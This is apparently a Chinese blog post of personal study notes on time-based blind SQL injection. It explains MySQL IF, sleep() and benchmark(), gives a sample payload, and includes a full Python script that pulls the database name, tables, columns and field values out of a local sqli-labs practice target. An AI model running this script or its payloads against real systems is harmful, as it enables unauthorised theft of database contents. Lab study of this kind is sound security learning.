上次说到了sql注入中的基于报错盲注的基本的方法。

关于sql注入学习记录(4)

今天说一说报错盲注

基于时间延时的SQL盲注

  • 使用时间延时注入的场景:
    1.不能使用union select 联合查询方式注入
    2.有些网站没有回显,只能通过延时判断

基于时间延时的SQL盲注的方法:

  • IF表达式
    IF(expr1,expr2,expr3)
    expr1 的值为 TRUE,则返回值为 expr2
    expr1 的值为FALSE,则返回值为 expr3
  • sleep表达式
    sleep(5)表示延迟5秒
  • benchmark表达式
    benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度。
    BENCHMARK(10000,md5('a'))表示执行md5('a')10000次

使用sleep()语句

payload:
?id=1and if(ascii(substr(database()),1,1))=115,sleep(5),1)--+
如果数据库名的第一个字符的ascii值为115,则延时5秒
其他原理和布尔盲注差不多,无非多了if和sleep,我将布尔盲注的python脚本做了一点修改贴在下面参考(其实也改了一个多小时,我好菜)

import requests
from time import time
url = 'http://127.0.0.1/sqli/Less-5/?id=1'


'''
# 爆数据库长度
'''
for i in range(1,100):
    startTime = time()
    a = requests.get(url + "'and if(length(database())=" + str(i) + ",sleep(5),1)" + '%23')
    if time()-startTime > 5:
        length = i
        print('数据库长度为:%s' % length)
        break

'''
爆数据库名
'''
startTime = time()
j = []
print('数据库名:', end='')
for i in range(1, length + 1):
    for k in range(ord('0'), ord('z') + 1):
        b = requests.get(url + "'and if(left(database(),%d)='%s',sleep(5),1)%%23" % (i, ''.join(j) + chr(k)))
        if time()-startTime > 5:
            j.append(chr(k))
            print(chr(k), end='')
            startTime = time()
            break
print('\n')

'''
爆表名
'''
startTime = time()
i = 0
while 1:
    j = 1
    while 1:
        for k in range(ord('0'), ord('z') + 2):
            count = 0   # 上锁
            c = requests.get(url + "'and if(ascii(substr((select table_name from information_schema.tables where "
                                   "table_schema=database() limit %d,1),%d,1))=%d,sleep(5),1)--+" % (i, j, k))
            if time()-startTime > 5:
                count = count + 1  # 匹配到就+1解锁,否则count为0爆下一个表
                j += 1
                print(chr(k), end='')
                startTime = time()
                break
        if count == 0:
            print()
            startTime = time()
            break
    i += 1
    if j == 1:
        break

'''
 爆列名
'''

table = input('请输入表名:')
startTime = time()
i = 0
while 1:
    j = 1
    while 1:
        for k in range(ord('0'), ord('z') + 1):
            count = 0  # 上锁
            c = requests.get(url + "'and if(ascii(substr((select column_name from information_schema.columns where "
                                   "table_name='%s' limit %d,1),%d,1))=%d,sleep(5),1)--+" % (table, i, j, k))
            if time()-startTime > 5:
                count = count + 1
                j += 1
                print(chr(k), end='')
                startTime = time()
                break
        if count == 0:
            print('\t')
            startTime = time()
            break
    i += 1
    if j == 1:
        break

'''
爆字段
'''
column = input('请输入列名:')
startTime = time()
i = 0
while 1:
    j = 1
    while 1:
        for k in range(ord('0'), ord('z') + 1):
            count = 0
            c = requests.get(
                url + "'and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d,sleep(5),1)--+" % (column, table, i, j, k))
            if time()-startTime > 5:
                count = count + 1
                j += 1
                print(chr(k), end='')
                startTime = time()
                break
        if count == 0:
            print('\t')
            break
    i += 1
    if j == 1:
        break

写脚本的时候发现了一种方法用count来表示某个循环是否执行了if或某个函数,和操作系统中学的上锁差不多,不知道是不是这个意思,暂时就这么记录在这。

使用benchmark()语句

  • 和sleep差不多,懒得写了。
最后修改:2022 年 01 月 28 日
如果觉得我的文章对你有用,请随意赞赏